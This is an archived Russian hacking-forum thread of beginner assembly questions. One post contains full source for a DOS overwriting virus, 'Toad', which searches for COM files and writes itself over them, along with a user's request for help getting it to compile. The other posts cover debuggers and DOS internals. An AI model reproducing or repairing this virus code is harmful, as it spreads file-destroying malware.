ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #651  
Старый 05.12.2009, 16:06
Аватар для WWWorm101
WWWorm101
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме:
13458

Репутация: 0
По умолчанию

короче код не компилируется, ошибка во второй строке:

org 100h

proc toad

first_fly:
mov ah,4eh

find_fly:
xor cx,cx
lea dx,comsing
int 21h
jc wart_growth

open_fly:
mov ax,3d02h
mov dx,9eh
int 21h

eat_fly:
xchg bx,ax
mov ah,40h
mov cx,norny-first_fly
lea dx,first_fly
int 21h

stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly

wart_growth:
mov ah,09h
mov dx,wart
int 21h

cya: int 20h

comsig db "*.com",0
wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'

horny label near

endp
end first_fly
 
Ответить с цитированием

  #652  
Старый 05.12.2009, 16:09
Аватар для whexp
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию

proc - это макрос. подключи macro\proc32.inc
 
Ответить с цитированием

  #653  
Старый 05.12.2009, 16:46
Аватар для WWWorm101
WWWorm101
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме:
13458

Репутация: 0
По умолчанию

эта программа для Dos'а или в досе тоже можно подключить macro\proc32.inc
 
Ответить с цитированием

  #654  
Старый 06.12.2009, 00:23
Аватар для wolmer
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ )))
(в CodeView не разобрался)
 
Ответить с цитированием

  #655  
Старый 06.12.2009, 18:35
Аватар для WWWorm101
WWWorm101
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме:
13458

Репутация: 0
По умолчанию

wolmer
Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.
 
Ответить с цитированием

  #656  
Старый 06.12.2009, 23:48
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском.
Или старинную вешь от дяди касперерского - avputil
 
Ответить с цитированием

  #657  
Старый 10.12.2009, 10:20
Аватар для becensed
becensed
Новичок
Регистрация: 02.12.2009
Сообщений: 16
Провел на форуме:
101734

Репутация: 21
По умолчанию

turbo debugger для начинающих вполне сойдет.
 
Ответить с цитированием

  #658  
Старый 14.12.2009, 10:47
Аватар для asvn
asvn
Новичок
Регистрация: 15.08.2009
Сообщений: 3
Провел на форуме:
12088

Репутация: 0
По умолчанию

Здравствуйте. Вот такой случай:
Код:
jz metka[bp]        ; ?????????????
Подскажите как правильно реализовать вышеприведённое на masm. Нужен условный переход по смещению - metka плюс число в bp.
 
Ответить с цитированием

  #659  
Старый 14.12.2009, 11:01
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

ну тогда как вариант вот так
mov ax, metka
add ax, bp
jz ax

Последний раз редактировалось slesh; 14.12.2009 в 11:50..
 
Ответить с цитированием

  #660  
Старый 15.12.2009, 03:15
Аватар для asvn
asvn
Новичок
Регистрация: 15.08.2009
Сообщений: 3
Провел на форуме:
12088

Репутация: 0
По умолчанию

Ответте пожалуста.
1. Почему при использовании переменной 4е, в PSP записывается размер найденного файла то по смещению 1а, то 9а. Аналогично имя найденного файла то 1е, то 9е. Получается разница равная адресу DTA. Какая тут связь?
2. Когда нужно узнать из запущенной программы её имя, то по PSP:002с находим сегмент переменных среды и по "[002cH]:0 плюс конец перечисления переменных" находится
имя запущенного файла.
Вопрос - где нибудь ещё храниться имя запущенной программы.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопросы для новичков! (faq) PEPSICOLA С/С++, C#, Delphi, .NET, Asm 92 14.05.2010 17:59
Обзор программ для очистки жёсткого диска v1ru$ Soft - Windows 21 17.01.2010 21:07
ОС с нуля z01b С/С++, C#, Delphi, .NET, Asm 36 03.07.2008 15:30
Лучший софт для Linux _-Ramos-_ Soft - *nix 11 15.01.2008 12:08
Взлом Unix а silveran *nix 4 21.12.2005 22:46



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ